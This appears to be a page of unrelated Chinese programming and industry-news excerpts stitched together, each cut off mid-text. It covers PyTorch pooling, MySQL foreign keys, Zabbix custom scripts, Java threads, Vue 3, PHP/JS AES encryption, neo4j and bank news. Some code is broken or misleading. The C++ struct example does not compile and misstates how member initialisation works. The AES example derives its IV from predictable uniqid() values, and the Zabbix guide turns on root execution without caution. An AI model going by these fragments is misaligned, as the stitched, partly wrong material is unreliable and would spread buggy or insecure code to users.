【pytorch】nn.AvgPool2d()与AdaptiveAvgPool2d() 的区别

声明:此篇文章是个人学习笔记,并非教程,所以内容可能不够严谨。可作参考,但不保证绝对正确。如果你发现我的文章有什么错误,非常欢迎指正,谢谢哦 平均池化层,又叫平均汇聚层,作用:https://blog.csdn.net/weixin_42193719/article/details/103860206 每次会计算滑动窗口覆盖区域内数值的平均值,然后将滑动窗口滑向下一个区域计算下一个平均值,如此反复直到滑动到末尾。 nn.AvgPool2d torch.nn.AvgPool2d(kernel_size, stride=None, padding=0, ceil_mode=False, count_include_pad=True, divisor_override=None) 参数功能kernel_size滑动窗口的大小stride滑动步长,默认等于kernel_sizepadding在图像边缘添加0边ceil_mode当滑动窗口滑动后有一部分不在图像范围内时,是否会计算平均值count_include_pad如果为True,则0边会参与平均值计算divisor_overrid默认是求多个元素后除以元素个数,也就是求平均值。这里可以设置新的除数,即多元元素求和后除以这个数,但这样就不是求平均值了。 nn.AdaptiveAvgPool2d torch.nn.AdaptiveAvgPool2d(output_size) 参数功能output_size指定输出特征层的尺寸。可以用元组(H,W)指定输出为HxW的特征,也可以用单个数H表示输出为HxH的特征 二者区别 nn.AvgPool2d()需要我们自己指定核(滑动窗口)的大小、步长等参数,输出特征的尺寸取决于我们给定的窗口大小、步长等参数。 而AdaptiveAvgPool2d()会根据我们想要的输出,自行计算核的大小。我们只需要说明我们想要的输出尺寸是多少,它会自动调整滑动窗口大小等参数去实现我们的要求。 代码验证 data = torch.tensor( [[[[9.0, 0, 7,6], [3,2,6,8], [7,5,4,4], [4,8,3,5]], [[3,8,7,2], [9,6,1,2], [2,0,8,0], [2,9,8,4]]]] ) ada_avg = torch.nn.AdaptiveAvgPool2d(1) print('ada_avg',ada_avg(data)) avg = torch.nn.AvgPool2d(kernel_size=4) print('avg:',avg(data)) #输出结果为: #ada_avg tensor([[[[5.0625]], # [[4.4375]]]]) #avg: tensor([[[[5.0625]], # [[4.4375]]]]) #可见,当把output_size设置1,即期望输出1x1尺寸的特征。最后得到的结果和把池化窗口大小设为4x4是一样的效果。 #下面再尝试一次: ada_avg = torch.nn.AdaptiveAvgPool2d((2,3)) print('ada_avg',ada_avg(data)) avg = torch.nn.AvgPool2d(kernel_size=2, stride=(2,1)) print('avg:',avg(data)) #输出结果为: #ada_avg tensor([[[[3.5000, 3.7500, 6.7500], # [6.0000, 5.0000, 4.0000]], # # [[6.

数据表的关联关系

1.关联关系介绍 MySQL是⼀个关系型数据库,不仅可以存储数据,还可以维护数据与数据之间的关系——通过在数据表中添加字段建⽴外键约束 数据与数据之间的 关联关系 分为四种: ⼀对⼀关联 ⼀对多关联 多对⼀关联 多对多关联 2. 一对一关联 一对多与多对一 班级 — 学⽣ (⼀对多) ⼀个班级包含多个学⽣ 学⽣ — 班级 (多对⼀) 多个学⽣可以属于同⼀个班级 图书 — 分类 商品 ---- 商品类别 ⽅案: 在多的⼀端添加外键 ,与⼀的⼀端主键进⾏关联 多对多关联 学⽣ — 课程 ⼀个学⽣可以选择多⻔课、⼀⻔课程也可以由多个学⽣选择 会员 — 社团 ⼀个会员可以参加多个社团、⼀个社团也可以招纳多个会员 ⽅法:额外创建⼀张关系表来维护多对多关联——在关系表中定义两个外键,分别与两个数 据表的主键进⾏关联 外键约束 外键约束——将⼀个列添加外键约束与另⼀张表的主键(唯⼀列)进⾏关联之后,这个外键 约束的列添加的数据必须要在关联的主键字段中存在 案例 学生表与班级表 1.先创建班级表 create table classes( class_id int primary key auto_increment, class_name varchar(40) not null unique, class_remark varchar(200) ); 创建学⽣表(在学⽣表中添加外键与班级表的主键进⾏关联) # 【⽅式⼀】在创建表的时候,定义cid字段,并添加外键约束 # 由于cid 列 要与classes表的class_id进⾏关联,因此cid字段类型和⻓度要与 class_id⼀致 create table students( stu_num char(8) primary key, stu_name varchar(20) not null, stu_gender char(2) not null, stu_age int not null, cid int, constraint FK_STUDENTS_CLASSES foreign key(cid) references classes(class_id) ); #【⽅式⼆】先创建表,再添加外键约束 create table students( stu_num char(8) primary key, stu_name varchar(20) not null, stu_gender char(2) not null, stu_age int not null, cid int ); # 在创建表之后,为cid添加外键约束 alter table students add constraint FK_STUDENTS_CLASSES foreign key(cid) references classes(class_id); # 删除外键约束 alter table students drop foreign key FK_STUDENTS_CLASSES; 3.

char data[0]用法总结

struct MyData { int nLen; char data[0]; }; 1.这个地址就是结构体后面数据的地址(如果给这个结构体分配的内容大于这个结构体实际大小,后面多余的部分就是这个data的内容);这种声明方法可以巧妙的实现C语言里的数组扩展。 2.初始化时为: MyData *p = (struct MyData *)malloc(sizeof(struct MyData) + strlen(str)) 3.练习 #include <stdio.h> #include <string.h> #include <stdlib.h> typedef struct _Info { int i; char data[0]; }Info; int main(int argc, char* argv[]) { char buf[10] = "123456789"; void* p = NULL; printf("%d\n",sizeof(Info)); Info* info = (Info*)malloc(sizeof(Info) + 10); p = (void*)info->data; printf("addr of info is %p. addr of data is %p .

对于使用Tomcat时出现的实例化 Servlet 问题

在我们初使用Tomcat的时候,可能会因为各种原因问题导致无法真正使用Tomcat,在各种问题之一,有一个问题是在使用时报错500 报错500是java内部文件错误,那么对于报错的显示 实例化 servlet 问题 有以下解决办法: 问题原因: Servlet-api.jar 版本不对 如何处理: ①使用Tomcat提供的Servlet-api.jar; ②打开Tomcat的安装目录; ③点击 lib 文件夹; ​​​ ④找到Servlet-api.jar; ⑤替换掉之前的Servlet-api即可。

zabbix配置自定义脚本

监控项配置在ZabbixServer 1、 修改Zabbix-agent开启自定义脚本, vi /etc/zabbix/zabbix_agentd.conf # 被动模式,修改server IP Server=127.0.0.1 # 主动模式,配置上传数据IP ServerActive=127.0.0.1 # 配置主机名 Hostname=zabbix-server # 增加配置 UnsafeUserParameters=1 # 默认新增监控项配置 Include=/etc/zabbix/zabbix_agentd.d/*.conf # 因为脚本要用到root权限来启动 zabbix_agent需要成root用户启动,默认启动用户是zabbix AllowRoot=1 # 添加监控项文件 vi /etc/zabbix/zabbix_agentd.d/agentd-key.conf UserParameter=luancheng-dtgk-online,python3 /usr/local/script/dome.py 2、 编写自定义的监控脚本 import requests import json try: rest = 1 url_login = "url1" url_get_enter = "url2" data = '{ "username": "admin", "password": "password" }' headers = { 'User-Agent': 'Apipost client Runtime/+https://www.apipost.cn/', 'Content-Type': 'application/json', } response = requests.post(url=url_login, headers=headers, data=data) token = json.

常见的二分查找 和找左右边界【转】

左右全闭的写法: int binary_search(int[] nums, int target) { int left = 0, right = nums.length - 1; while(left <= right) { int mid = left + (right - left) / 2; if (nums[mid] < target) { left = mid + 1; } else if (nums[mid] > target) { right = mid - 1; } else if(nums[mid] == target) { // 直接返回 return mid; } } // 直接返回 return -1; }

【转】win10系统whiteboard如何安装使用

首先我们使用快捷键【win+w】,打开快捷工 初次使用可能未安装,需要点击此处安装 安装完成后,点击打开,如图所示 底部有很多绘图工具,画笔和尺子和橡皮檫 画图可以共享,邀请一起画图

升级到Gradle 7.0后出现The option ‘android.enableBuildCache‘ is deprecated. The current default is ‘false‘.

升级到Gradle 7.0后出现The option ‘android.enableBuildCache‘ is deprecated. The current default is ‘false‘._a925379434的博客-CSDN博客 看见有人查看处理方法要付钱恶心到了才发的,我不希望互联网成为付联网 ,如果以后所以代码或所以解决问题的方法都需要付费才能看我觉得这是对互联网的侮辱和破坏,会限制其发展。 首先对上边链接的文章观点表示赞同。但是我解决这个问题的方法有所不同,实测有效。 解决方法: 将本机gradle的配置文件,~/.gradle/gradle.properties.中的 #android.enableBuildCache=true 注释掉就行 以下是上边链接的原文,如果我的方法帮助不到大家,可以直接看下边的,也许有效。 这篇是应为看见有人查看处理方法要付钱恶心到了才发的,我不希望互联网成为付联网 ,如果以后所以代码或所以解决问题的方法都需要付费才能看我觉得这是对互联网的侮辱和破坏,会限制其发展 一、问题 android studio升级到Gradle 7.0后出现的问题 A problem occurred evaluating project ':app'. > Failed to apply plugin 'com.android.internal.application'. > The option 'android.enableBuildCache' is deprecated. The current default is 'false'. It was removed in version 7.0 of the Android Gradle plugin. The Android-specific build caches were superseded by the Gradle build cache (https://docs.

Codasip发布全新RISC-V嵌入式内核支持AI/ML边缘定制

德国慕尼黑市,2022年2月24日 - 处理器设计自动化领域的领导者Codasip于今日发布了其L31和L11两款新产品,它们是相关产品系列中专为定制处理器而优化的最新低功耗嵌入式RISC-V处理器内核。基于这些新内核,客户可以很方便地使用Codasip Studio工具去定制处理器设计,以支持诸如神经网络、人工智能/机器学习(AI/ML)等具有挑战性的应用,包括例如物联网(IoT)边缘计算等极小型化的、功率受限的应用。 在物联网/工业物联网(IoT/IIoT)等边缘计算设备上部署AI/ML将获益良多,可有助于提高安全性、降低功耗,以及减少实时处理的延迟。由于AI/ML的算法类型属于计算密集型,并且嵌入式系统内部资源有限,因此需要使用定制处理器才能提供足够的性能。为此,Codasip L31/L11嵌入式内核运行在谷歌的TensorFlowLite for Microcontrollers上,并利用Codasip Studio工具来定制一类全新的嵌入式AI*内核,因此特别适用于空间和功率开销极其有限的物联网应用。 Codasip首席技术官Zdeněk Přikryl表示:“通过购买RISC-V处理器高级描述语言CodAL的授权,使Codasip客户获得了一套完整架构许可,从而可去实现ISA和微体系架构的定制。随着新L11/31内核的问世,方便了我们在尺寸和功率受限的嵌入式处理器设计中加入客户所需的功能,如边缘人工智能等。” 长期以来,Codasip的内核可定制功能是公司成功的基石,这也是目前全球已有超过20亿颗处理器使用了Codasip IP的原因。除了更容易定制内核以匹配特定的嵌入式设计以外,Codasip还增强了两种新内核的性能使其能够支持更高主频。 现有的处理器并不能很好地加载人工智能和机器学习应用;同时,器件的数据类型、量化模型和性能需求也因应用不同而差异巨大。Codasip提供的“创造差异化设计”模式意味着使用其Studio工具的客户,可以根据其特定系统、软件及应用程序的要求来定制处理器。同样地,低功耗物联网应用中嵌入式设备的资源也极为有限:内存有限,指令集也有限,但器件开发人员还需要保证此类器件具有功耗低和内生安全性等特性,并且能够实现实时响应和通信。 Codasip Studio RISC-V设计工具可以提供定制的指令,它们特别适合用来开发人工智能/机器学习(AI/ML)处理器。通过将TensorFlow Lite for Microcontrollers** (TFLite Micro)、RISC-V定制指令以及Codasip处理器设计工具三者相结合,就可以为嵌入式的、高效率的边缘神经网络处理功能带来了更多优势,包括低延迟、高安全性、快速通信和低功耗等。而这些优势对于新兴物联网和工业物联网(IIoT)边缘应用而言至关重要,能够在此类应用中实时运行AI/ML任务正在迅速成为系统级芯片(SoC)的一项标准特性。 Codasip的最新L31和L11处理器内核是业内首批支持TFLite Micro的内核,但支持范围仅限适用于Codasip的整个RISC-V内核产品组合。 通过采用TensorFlow Lite AI框架来支持神经网络,Codasip RISC-V处理器IP因此特别适合那些计划在其AI/ML器件的内核中加载市场领先性能的系统开发人员。同时凭借着边缘处理器功能性,Codasip定制化设计的性能也为那些关键任务型嵌入式物联网应用带来了高实时性优势。 背景 *Codasip的嵌入式AI是嵌入式软件中的机器学习与深度学习功能在器件级上的应用,可支持小型物联网嵌入式设备能够在边缘流畅地运行人工智能模型,并且能够实现实时通信。从安全角度来看,这样可以最大限度降低数据传输时间和用电成本,并且不再需要使用通信硬件。同时这种应用模式对于关键任务型工业物联网(IIoT)基础设施而言非常重要,其中边缘人工智能算法可以从各种传感器中收集数据,并实时预测和报告系统故障。 **TensorFlow Lite for Microcontrollers是专门用于嵌入式系统的人工智能(AI)框架,它有效地解决了存储器和功耗限制等问题。由于支持各种微架构,其特别适用于供应商特有的优化项目。这一特性与Codasip的处理器设计自动化工具实现了完美的匹配,有效地简化了特定领域的加速器开发流程,并且使Codasip客户能够快速、轻松地为物联网打造适合特定应用的嵌入式AI/ML器件。

Java中停止线程的3种方式

在 Java 中停止线程的实现方法有以下 3 种: 自定义中断标识符,停止线程。 使用线程中断方法 interrupt 停止线程。 使用 stop 停止线程。 其中 stop 方法为 @Deprecated 修饰的过期方法,也就是不推荐使用的过期方法,因为 stop 方法会直接停止线程,这样就没有给线程足够的时间来处理停止前的保存工作,就会造成数据不完整的问题,因此不建议使用。而自定义中断标识也有一些问题,所以综合来看,interrupt 方法才是最理想的停止线程的方法,接下来我们一起来看它们的具体差异。 1.自定义中断标识符 自定义中断标识符就是在程序中定义一个变量来决定线程是否要中断执行,具体实现代码如下: class FlagThread extends Thread { // 自定义中断标识符 public volatile boolean isInterrupt = false; @Override public void run() { // 如果为 true -> 中断执行 while (!isInterrupt) { // 业务逻辑处理 } } } 复制代码 但自定义中断标识符的问题在于:线程中断的不够及时。因为线程在执行过程中,无法调用 while(!isInterrupt) 来判断线程是否为终止状态,它只能在下一轮运行时判断是否要终止当前线程,所以它中断线程不够及时,比如以下代码: class InterruptFlag { // 自定义的中断标识符 private static volatile boolean isInterrupt = false; public static void main(String[] args) throws InterruptedException { // 创建可中断的线程实例 Thread thread = new Thread(() -> { while (!

Linux下的TCP测试工具

如何在 Linux 上安装 tcpping 测量到远程主机的网络延迟的一种常用方法是使用ping应用程序。该ping工具依赖 ICMP ECHO 请求和回复数据包来测量远程主机的往返延迟。但是,在某些情况下,ICMP 流量可能会被防火墙阻止,这使得该ping应用程序对于受限制的防火墙后面的主机毫无用处。在这种情况下,你将需要依赖使用 TCP/UDP 数据包的第 3 层测量工具,因为这些第 3 层数据包更有可能绕过常见的防火墙规则。 一种这样的第 3 层测量工具是tcpping. 为了测量延迟,tcpping利用所谓的半开放连接技术,基于 TCP 三路握手。也就是说,它通过端口号(默认为 80)向远程主机发送 TCP SYN 数据包。如果远程主机正在侦听该端口,它将以 TCP ACK 数据包响应。否则,它将以 TCP RST 数据包响应。无论哪种方式,tcpping都可以通过定时传出 SYN 数据包和传入 ACK(或 RST)数据包来测量远程主机的往返时间 (RTT) 延迟。 在 Linux 上安装tcpping tcpping作为 shell 脚本实现,该脚本响应外部工具来执行和报告 RTT 测量。因此,为了安装tcpping,你首先需要先安装这些先决条件。 安装依赖 tcptraceroute 要在 Ubuntu 或 Debian 上安装tcptraceroute: $ sudo apt-get install tcptraceroute 要在 CentOS 或 RHEL 上安装tcptraceroute,首先在你的系统上设置 RepoForge,然后运行: $ sudo yum install tcptraceroute 安装依赖 bc 使用的另一个工具tcpping是GNUbc,它预装在所有主要的 Linux 发行版上。但是,如果你tcpping在最小 Linux 运行时环境(例如Docker容器、AWS 最小映像 AMI)中运行,则bc可能不会预先安装。在这种情况下,你需要bc自己安装。

vue3没有this怎么办

在vue3中,新的组合式API中没有this,那我们如果需要用到this怎么办 解决方法: getCurrentInstance 方法获取当前组件的实例,然后通过 ctx 或 proxy 属性获得当前上下文,这样我们就能在setup中使用router和vuex了 import { getCurrentInstance } from "vue"; export default { setup() { let { proxy } = getCurrentInstance(); proxy.$axios(...) proxy.$router(...) } } 但是 但是,不建议使用,如果要使用router和vuex,推荐这样用: import { computed } from 'vue' import { useStore } from 'vuex' import { useRoute, useRouter } from 'vue-router' export default { setup () { const store = useStore() const route = useRoute() const router = useRouter() return { // 在 computed 函数中访问 state count: computed(() => store.

aes-256-cbc php加密js解密

原因 在之前前端尝试使用过 crypto-js,但是一直报 Malformed UTF-8 data ,尝试了百度搜索第一页的所有方案无效,于是尝试在 crypto-js 库 github 的 issue 寻找方案,但这个问题在 2020年3月3号被提出,到了目前还没有被解决。无奈之下只能在 github上查找相关的库,直到找到了 https://github.com/TCWTEAM/CrypJS.git,本文的前端代码由 CrypJS 修改而来 key 的长度 key 的长度需要注意一下,为 16 位时,会报key无效。32 是可以的 php加密代码 /** * aes-256-cbc 加密 * @throws \Exception */ function encode(string $data, string $key, string $iv = null): array { $iv = $iv ?? uniqid() . '000'; if (strlen($iv) != 16) { throw new \Exception('openssl_encrypt(): IV passed is only 13 bytes long, cipher expects an IV of precisely 16 bytes'); } $data = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return [ 'data' => base64_encode($data), 'iv' => $iv, ]; } js解密代码 /** * aes-256-cbc 解密 */ function decryption(data, pass, iv) { const crypto = require('crypto'); let decipher = crypto.

中电金信助力日照银行新金融生态网点投产运营

近日,中电金信助力日照银行打造的新金融生态网点投入运营,成为日照银行构建“新生态”格局的一项创举。 日照银行新金融生态网点是日照首家、山东省内外领先的智慧网点,依托5G、大数据、人工智能、MR、AR等最新技术,通过场景数字化与金融领域相结合,成为覆盖客户家庭成员全年龄段的智慧生活科技体验空间。 场景丰富 万物互联 日照银行新金融生态网点不仅是金融服务窗口,更是融合衣食住行多场景的生态体验系统,网点广泛整合了日照银行金融产品类、权益类资源,并且与公安、工商、税务、社保、医保、公积金等机构合作,深化政务合作,支持政务业务在线办理,打造有联动、成系统、可循环、能持续的新金融生态运行体,构建起集趣味性、个性化、多元化的金融场景生态。 在万物互联的背景下,日照银行新金融生态网点也被赋予了更多与城市有关的想象空间,不仅是居民服务的银行营业大厅,也是连接政务服务的终端,居民休闲会客厅、劳动者休息驿站、网红打卡地,实现流量转化倍数增长。 在日照银行新金融生态网点建设中,中电金信依托强大的金融IT解决方案建设能力,以及在金融行业多年的经验积累,为日照银行提出未来银行智慧化转型的建设思路,提供智慧银行网点转型咨询规划、金融场景搭建、软硬件集成、空间设计、网点差异化赋能、智慧运营决策管理等不同阶段的网点转型服务。 通过先进的理念引入、技术等的支持,中电金信助力日照银行全面提升服务效率和服务水平,为日照银行降本增效、开辟新的增长通道增添动能。

[C++]结构体声明方式决定内容是否初始化

typedef struct Test { int score; std::string name; std::vector<int> arr; } Test; typedef struct Test2 { Test2(); int score; std::string name; std::vector<int> arr; } Test2; int main() { Test t; // 成员不会初始化, 初值是内存残留值 Test* tp1 = new Test; // 成员不会初始化, 初值是内存残留值 Test* tp2 = new Test(); // 调用了默认构造函数, 成员被初始化 Test2 t2; // 调用了默认构造函数, 成员被初始化 Test2 t2p = new Test2; // 调用了默认构造函数, 成员被初始化 Test2* t2p2 = new Test2(); // 调用了默认构造函数, 成员被初始化 return 0; }

中电资讯-银保监会提示防范“元宇宙”风险

政策走向 银保监会:线上+线下推进农村金融数字化发展 2月17日,银保监会新闻发言人表示,银保监会将引导银行业保险业不断深化农村融资改革创新,积极回应全面推进乡村振兴需求,全力服务农业农村生产、春耕备耕。一是助力初级产品稳产保供,确保粮食生产和重要农产品供给的金融投入。二是健全信用信息共享机制,加大对乡村产业和新型经营主体的金融支持。三是推进农村金融数字化发展。鼓励银行机构在依法合规、风险可控的前提下,基于大数据和特定场景进行批量获客、精准画像、自动化审批,采用线上与线下相结合的方式,提高农村地区长尾客户的服务效率和服务半径。(移动支付网) G20财长和央行行长会议推进可持续金融路线图 2月17-18日,二十国集团(G20)主席国印度尼西亚以线上线下相结合的方式,主持召开了2022年首次G20财长与央行行长会议。会议上各方表示将推进《G20可持续金融路线图》,发展转型金融以支持有序绿色转型,同时扩大可持续金融市场,便利发展中国家和中小企业获得绿色融资、降低绿色融资成本。会议同意加强全球金融部门的韧性,提高非银行金融中介机构抵御风险的能力,继续落实《G20完善跨境支付路线图》。G20将继续全面评估技术创新对全球金融稳定的潜在影响,鼓励相关国际机构加强对加密资产监管政策的分析,解决监管缺口。(中国人民银行) 产业动态 银保监会发布关于防范以“元宇宙”名义进行非法集资的风险提示 近期,一些不法分子蹭热点,以“元宇宙投资项目”、“元宇宙链游”等名目吸收资金,涉嫌非法集资、诈骗等违法犯罪活动。一、编造虚假元宇宙投资项目。二、打着元宇宙区块链游戏旗号诈骗。三、恶意炒作元宇宙房地产圈钱。四、变相从事元宇宙虚拟币非法谋利。银保监会发布提示,上述活动打着“元宇宙”旗号,具有较大诱惑力、较强欺骗性,参与者易遭受财产损失,社会公众需增强风险防范意识和识别能力。(银保监会) 多路资金加持 央地联动力推科技成果加快落地 新年伊始,促科技成果转移转化再次迎来政策红利。截至目前,我国国家级科技成果转化引导基金累计超40只,规模达700亿元。多只子基金顺利“毕业”后,再次布局先进制造、电子信息等战略新兴产业。日前,科技部正式批复同意支持重庆市建设国家科技成果转移转化示范区。加上此前已批复的河北京南、宁波、浙江、山东济青烟、上海闵行、江苏苏南、吉林长吉图、四川成德绵、广东珠三角、湖北汉襄宜和安徽合芜蚌示范区,国家科技成果转移转化示范区增至12家。(经济参考报) 冬奥币冬奥钞预约抢手 “冰墩墩”带火银行营销 冬奥会期间,冬奥纪念钞和纪念币等周边产品大热。不少银行尤其是银行信用卡中心也开启了冬奥主题的借势营销,多家银行推出了开信用卡消费等获赠“冰墩墩”的活动。同时,冬奥币预约也在2月中旬达到高潮。金融专家提示,银行不仅要通过场景找到客户,更重要的是找到有某类消费需求的目标客户,进而确定营销策略。这就要求银行与商家、平台的合作不能仅局限于导流层面,而是要深入且持续联动。(证券时报) 智能网联时代 疾呼汽车安全中国方案 近日,《重庆市智能网联汽车道路测试与应用管理试行办法》经审议通过,将于3月1日起施行。目前各地纷纷通过立法创新,为智能网联汽车在开放道路开展道路测试与应用提供制度支撑。在智能网联汽车产业发展众多的支撑要素中,最为紧迫的升级需求来自安全领域。工信部表示,下一步将深入实施《新能源汽车产业发展规划(2021-2035 年)》,加强各方协调统筹,进一步强化“单车智能+网联赋能”的协同发展共识,加快操作系统、高精度传感器、线控底盘等关键共性技术融合创新,加强国内急需技术标准制定和国际法规协调,组织大规模车路协同发展试点示范和商业化探索,推动智能网联汽车产业高质量发展。(经济参考报) 31地2022年政府工作报告出炉,能源“热词”密集 日前,在各省、市、自治区“两会”中,可再生能源、大基地、抽水蓄能、储能等等是2022年各省能源工作提及最多的热词。浙江省2022年启动700万千瓦清洁火电项目开工建设;湖北省加快建设襄阳宜城火电、荆州热电二期、随州电厂等火电项目;云南省推动480万千瓦火电装机项目开工建设;广西确保国能广投北海电厂按期投产运行,千方百计增加火电水电出力等。(中国能源网) 人民币全球支付排名保持第四 环球银行金融电信协会(SWIFT)当地时间2月16日发布的数据显示,今年1月,在基于金额统计的全球支付货币排名中,人民币全球支付排名位列美元、欧元、英镑之后,稳居全球第四位。这也是人民币连续第二个月保持这一位置。去年12月,人民币全球支付排名升至全球第四,为六年来首次。人民币作为国际支付工具人气攀升,还体现在其全球支付占比再创新高。SWIFT数据显示,今年1月,人民币全球支付占比跃升至3.2%,突破了2015年创下的前次高点。(上海证券报) 国际视野 英国发布金融领域AI报告 2月17日,英格兰银行与英国金融行为监管局(FCA)联合成立的人工智能公私论坛(AIPPF)发布一份报告,基于金融服务、科技行业、学术界、监管机构的各位专家数月以来对金融领域AI应用中的数据、风险模型和风险治理进行的调查,该报告指出,对AI应用的监管预期的清晰性是促进创新的关键组成部分。监管机构应该进一步澄清现有的监管和政策,并提供相关说明性的案例研究。除此之外,报告还建议公共部门和私营部门继续合作,并建议建立一个行业联盟来帮助应对挑战和制定标准。(未央网) 亚洲央行大数据应用报告发布 近日,国际清算银行发布了《亚洲央行的大数据应用》专题报告。报告回顾了亚洲地区央行的大数据使用情况,提出了四项观点:1)亚洲央行以更全面的方式定义大数据,其中包括了非结构化、非传统和结构化数据集;2)亚洲对大数据的兴趣似乎更高,包括在高级政策层面,重点关注为处理自然语言、进行临近预报/监控练习、开发应用程序以提取经济见解以及监管科技解决方案而开发的项目上;3)亚洲央行通过大数据报告交易,为更广泛的任务提供支持;4)大数据带来了新的挑战,而亚洲地区重点关注网络安全和数据战略。(未央网) 专家观点 央行行长易纲近日以线上方式出席二十国集团(G20)财长和央行行长会议,易纲介绍了中国经济金融形势,表示中国通胀总体温和,货币政策灵活精准、合理适度,服务实体经济的质量和效率不断提升,人民银行将保持稳健的货币政策灵活适度,加大跨周期调节力度,推动经济高质量发展。人民银行作为G20可持续金融工作组联合主席,将与各方共同制定转型金融框架,落实好《G20可持续金融路线图》。(中国人民银行) 2月17日,在第280场银行业保险业例行新闻发布会上,农行党委副书记、副董事长、行长张青松介绍,截至2021年末农行涉农贷款余额4.76万亿,增速12.6%,农业贷款余额7643亿元,增速19.7%,粮食安全领域贷款余额1926亿元,增速17%。金融科技在农行的农村金融中扮演不容忽视的角色。张青松介绍,运用金融科技让广大农户在手机上可以自助申请小额可循环运用的“惠农e贷”,力争全年累计投放7000亿元以上,余额增长1000亿元以上;同时,大力推广手机银行乡村版,不断丰富智慧农业、农村电商等场景金融,助力春耕备耕驶上科技快车道。(金融界)

一文读懂《“十四五”软件和信息技术服务业发展规划》

导语 《“十四五”软件和信息技术服务业发展规划》是我国软件产业第五个五年规划,充分体现了软件和信息技术服务业的重要性。本文在对《软件和信息技术服务业发展规划(2016-2020年)》内容回顾的基础上,对本次新规划的展望、重点、亮点等内容进行了分析解读,与各位共享。 2021年11月30日,工信部印发了《“十四五”软件和信息技术服务业发展规划》。(下称《规划》) 《规划》指出 软件是新一代信息技术的灵魂,是数字经济发展的基础,是制造强国、网络强国、数字中国建设的关键支撑。发展软件和信息技术服务业,对于加快建设现代产业体系具有重要意义。“十四五”时期是我国开启全面建设社会主义现代化国家新征程的第一个五年,全球新一轮科技革命和产业变革深入发展,软件和信息技术服务业迎来新的发展机遇。 《规划》回顾 “十三五”期间,软件和信息技术服务业 发展回顾 “十三五”期间,我国软件和信息技术服务业顶层设计持续加强,政策体系不断完善,产业规模效益快速增长,综合竞争力实现新的跃升。业务收入从2015年的4.28万亿元增长至2020年的8.16万亿元,年均增长率达13.8%,占信息产业比重从2015年的28%增长到2020年的40%。软件信息服务消费在信息消费中占比超过50%,在新冠肺炎疫情期间,软件创新应用有力支撑了疫情防控和复工复产。 《规划》展望 《规划》提出“四新”发展目标 “十四五”时期我国软件和信息技术服务业要实现“产业基础实现新提升,产业链达到新水平,生态培育获得新发展,产业发展取得新成效”的“四新”发展目标。到2025年,规模以上企业软件业务收入突破14万亿元,年均增长12%以上,工业APP突破100万个,建设2—3个有国际影响力的开源社区,高水平建成20家中国软件名园。 《规划》重点 《规划》提出的五大主要任务 八个专项行动和五个保障措施 《规划》围绕软件产业链、产业基础、创新能力、需求牵引、产业生态五个方面,提出了“十四五”软件和信息技术服务业主要任务。此外,为保障各项任务顺利落地落实,《规划》设置了关键基础软件补短板、新兴平台软件锻长板、信息技术服务应用示范、产业基础能力提升、“软件定义”创新应用培育、工业技术软件化推广、开源生态培育和软件产业高水平集聚8个专项行动,以及健全组织实施机制、加大财政金融支持、打造一流人才队伍、强化安全服务保障、深化国际开放合作5项保障措施。 一是推动软件产业链升级 加速“补短板、锻长板、优服务”,夯实开发环境、工具等产业链上游基础软件实力,提升工业软件、应用软件、平台软件、嵌入式软件等产业链中游的软件水平,增加产业链下游信息技术服务产品供给,提升软件产业链现代化水平。 二是提升产业基础保障水平 重点夯实共性技术、基础资源库、基础组件等产业发展基础,强化质量标准、价值评估、知识产权等基础保障能力,推进产业基础高级化。 三是强化产业创新发展能力 重点加强政产学研用协同攻关,做强做大创新载体,充分释放“软件定义”创新活力,加速模式创新、机制创新,构建协同联动、自主可控的产业创新体系。 四是激发数字化发展新需求 鼓励重点领域率先开展关键产品应用试点,推动软件与生产、分配、流通、消费等各环节深度融合,加快推进数字化发展,推动需求牵引供给、供给创造需求的更高水平发展。 五是完善协同共享产业生态 重点培育壮大市场主体,加快繁荣开源生态,提高产业集聚水平,形成多元、开放、共赢、可持续的产业生态。 《规划》亮点 《规划》的四大亮点 一是通过“补短板、锻长板、优服务”提升软件产业链现代化水平 《规划》不仅首次在正式文件中提出软件产业链的概念,对产业链上游、中游、下游进行了分类,并且针对一些短板弱项的基础软件加紧技术攻关,赶超国际先进水平,增加关键软件产品供给;针对云计算、大数据等领域加紧前沿技术布局,锻造长板优势。 二是突出“应用牵引、整机带动、生态培育”的产业发展规律 《规划》坚持“好软件是用出来的”发展理念,强调重大应用、重大工程对产业发展的牵引作用;强调用户单位特别是制造业企业要开放更多的应用场景,深入推进基于整机的“软硬协同”,以应用为牵引、上下游产品适配优化的“产用协同”,由骨干企业带动、大中小企业融通发展的“企业协同”,以及基于高水平建设中国软件名城、软件名园的“空间协同”;推动软件产品在应用中迭代升级,全面打造共建共享共赢的产业生态。 三是强化软件价值导向 我国“重硬轻软”现象依然严重,软件价值失衡尚未得到根本性扭转,因此,《规划》在发展原则、发展目标、主要任务、保障措施中均提出要提升软件价值,不断强化软件价值导向。 四是紧跟开源发展、“软件定义”等产业发展的新趋势 开源以开放、平等、协作、共享为理念,集众智、采众长,促进多方协同和技术迭代演进,推动产业生态完善。“软件定义”扩展了产品功能,变革了产品价值创造模式,催生新型制造模式,赋予企业新型能力和基础设施灵活性。《规划》针对开源生态构建、“软件定义”创新应用培育作出大量任务部署,将有力支撑我国软件产业在新的赛道上抢占发展先机。

Python连接neo4j图数据库并写入三元组数据进行可视化展示

前言 一、安装eno4j图数据库 二、启动neo4j 三、Python连接eno4j 3.1、安装py2neo 3.2、使用py2neo操作neo4j 四、数据入库 4.1、抽取三元组关系 4.2、效果展示 4.3、删除图库中所有实体和关系 五、合并相同实体 前言 本文对非结构化文本数据进行解析成三元组,后写入neo4j图库。记录一些操作代码。在实际项目实战肯定是一体化流程。例如输入一个word文档,需要你对里面的内容进行解析,提取相应的三元组关系,录入图库,可视化展示。完整的项目可视化展示下图所示。但本文记录的主要是录入图库的操作,本文以通俗易懂的脚步出发记录。 一、安装eno4j图数据库 官网下载地址:Neo4j Desktop Download | Free Graph Database Download 二、启动neo4j 1)解压安装包到电脑任意盘中 2)进入文件中的bin目录 3)cmd模式打卡当前文件夹,输入eno4j.bat console 4)web服务端使用 http://localhost:7474/ 打开 三、Python连接eno4j 3.1、安装py2neo pip install py2neo 3.2、使用py2neo操作neo4j from py2neo import Graph, Node, Relationship,NodeMatcher # 连接图库 初始化账号密码都是neo4j graph = Graph('http://localhost:7474', auth=('neo4j', 'neo4j')) # 注意使用Python连接neo4j时要首先启动neo4j的服务,否则Python会抛出异常。 四、数据入库 4.1、抽取三元组关系 三元组指的就是类似于<头实体,关系、尾实体>的数据集合 from py2neo import Graph, Node, 